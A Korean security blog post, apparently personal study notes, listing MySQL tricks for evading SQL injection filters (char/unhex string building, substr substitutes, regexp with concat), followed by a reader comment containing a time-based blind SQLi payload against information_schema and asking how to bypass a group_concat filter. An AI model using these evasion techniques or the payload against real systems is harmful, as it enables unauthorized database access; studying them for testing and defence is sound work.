문자열 우회


ascii(‘a’) = 97
ord(‘a’) = 97

‘abc’ = char(97,98,99)

'abc' = unhex(616263)
hex(‘a’) = 61


substr 우회

mid

lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’


문자열 검색

locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)



각종 필터링 걸려있을 땐 정규식 이용

where id regexp "admin"


admin이 필터링 되어있으면

where id regexp concat("admi", "n")


정규식에서 "^admin"은 "admin"으로 시작

"adadmin" 이런게 테이블에 들어있을 때 쓰면 좋다.

' > SQLi' 카테고리의 다른 글

sqli 필터링 우회  (0) 2018.10.26
from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08
Posted by 범고래_1

댓글을 달아 주세요

  1. shin 2019.04.15 21:46  댓글주소  수정/삭제  댓글쓰기

    안녕하세요
    select 키워드가 필터링 되어서 char()함수로 우회했어요

    0'XOR(if(1<(char(0x53)+char(0x45)+char(0x4c)+char(0x45)+char(0x43)+char(0x54)+ord(substr(group_concat(table_name),1)from inforrmation_schema.tables+where+table_schema=database()),benchmark(15000000,md5(1)),0))XOR'Z

    group_concat 이 필터링되는데 어떤식으로 우회할수있나요??